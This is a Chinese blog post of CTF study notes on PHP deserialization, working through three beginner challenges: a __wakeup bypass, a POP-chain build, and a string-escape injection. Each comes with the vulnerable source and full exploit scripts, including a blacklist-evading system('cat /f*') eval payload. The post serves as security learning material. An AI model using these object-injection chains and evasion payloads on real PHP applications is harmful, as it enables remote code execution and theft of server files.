PHP序列化与反序列化

PHP反序列化学习

参考资料

可供新手学习的文章:

《PHP反序列化新手入门学习总结》蚁景科技

https://www.freebuf.com/articles/network/355848.html

实战演练

[SWPUCTF 2021 新生赛]

考点

wakeup()绕过

解题思路

如果类属性的数目大于正常数目则不会执行wakeup()函数

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

EXP编写

<?php
class HaHaHa{
        public $admin = "admin";
        public $passwd = "wllm";
    }
$key = new HaHaHa();
echo serialize($key);
?>

修改属性个数

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
修改为
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[NISACTF 2022]babyserialize

考点

POP链,魔法函数,简单的命令绕过

解题思路

首先需要找到POP链的尾部,一般来说是一个命令执行函数,如:assert,eval等,或者说是一个函数名和参数均被用户控制的函数。

接着分析魔法函数,从POP链尾部往前推演,根据魔法函数的触发条件推导。

编写EXP,根据构造的POP链进行实例化对象和赋值。

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
    //使用unserialize触发,如果需要绕过,修改对象个数
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
    //对不存在的方法或不可访问的方法进行调用就自动调用
        $this->fun=$val[0];
    }

    public function __toString()
    {
    //当一个对象被当作一个字符串被调用
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
    //POP链尾部,当脚本尝试将对象调用为函数时触发
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
    //使用unserialize触发,如果需要绕过则修改对象个数
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
   //对不存在的方法或不可访问的方法进行调用就自动调用
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
    //当一个对象被当作一个字符串被调用
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
    //在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);//a可控但全为小写
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

  1. POP链尾部是NISA类的invoke()方法,invoke()方法会对txw4ever命令参数进行检查,根据后续提示是黑名单过滤,通过过滤后使用eval执行命令,即我们获取flag的方式。
  2. invoke()方法当脚本尝试将对象调用为方法时触发,我们下一步即寻找可能将对象调用为方法的位置。
  3. Ilovetxw类中的toString()方法,如果我们将Ilovetxw的成员变量$su赋值为一个NISA对象,则会触发(1)中的invoke()方法。
  4. toString()方法当一个对象被当作一个字符串被调用触发,我们下一步即寻找可能将对象当做字符串的位置。
  5. four类的set()方法中,strtolower()方法会将给的参数字符串转换为小写,如果将four类的成员变量赋值为Ilovetxw对象则会触发(4)中的toString()方法。
  6. set()方法在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用,我们注意到four类中有一个私有成员变量,我们下一步即寻找可能给它赋值的位置。
  7. Ilovetxw类中的call()方法,可以对成员huang的属性fun进行赋值,如果我们将huang赋值为four对象,则会触发(6)中的set()方法。
  8. call()方法在对不存在的方法或不可访问的方法进行调用就自动调用,我们下一步及寻找不存在或者不可访问的方法可能出现的位置。
  9. TianXiWei类中出现了一个从未出现的nisa方法,如果我们将成员变量ext赋值为Ilovetxw对象,则会触发(7)中的call()方法。

至此我们总结出以下的POP链。

TianXiWei::wakeup->Ilovetxw::call->four::set->Ilovetxw::toString->NISA::invoke

EXP编写

<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever="\$a='sy';\$b='stem';(\$a.\$b)('cat /f*');";
}

class TianXiWei{
    public $ext;
    public $x;   
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$key1= new NISA();
$key2 = new Ilovetxw();
$key3 = new four();
$key4 = new TianXiWei();
$key5 = new Ilovetxw();

$key2->su =$key1;
$key3->a = $key2;
$key5->huang = $key3;
$key4->ext = $key5;
$key4->x="sixsixsix";
echo urlencode(serialize($key4));
?>

[UUCTF 2022 新生赛]ezpop

考点

POP链,反序列化逃逸

解题思路

思考POP链的构造

思考反序列化逃逸的字符串构造

编写EXP构造出最终的payload

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str; 
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
    //将对象当做字符串时调用
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);//需要将a赋值为output对象
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);//POP链尾部
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);//反序列化字符串逃逸利用点
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

我们根据前面的经验很容易可以推出以下的POP链。

nothing::destruct()->output::toString()->youwant::rce()

根据UUCTF类的描述,我们需要利用反序列化逃逸对\(key,\)basedata,\(ob,进行赋值,其中\)key为UUCTF,\(basedata为我们提交的POST参数的base64_encode值,\)ob这里可以为空值。

我们首先编写EXP利用POP链反序列化出对象字符串。

<?php
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd = "system('cat flag.php');";
}


$key1 = new youwant();
$key2 = new output();
$key3 = new nothing();

$key2 -> a = $key1;
$key3 -> a = &$key3 -> b;
$key3 -> t = $key2;
$bkey3 = base64_encode(serialize($key3));
echo $bkey3;
?>

结果为:

Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

计算该字符串的长度:

echo strlen($bkey3) //176

构造我们需要的字符串:

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}

计算该字符串的长度:

$num = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}';
echo strlen($num); //236

由于$data_replace=str_replace("hacker","loveuu!",$data);替换字符和原字符长度差1,则我们需要236个填充字符hacker。

最终的payload如下图所示

image-20230410164107737

posted @ 2023-04-10 19:57  merk11  阅读(74)  评论(0)    收藏  举报
Live2D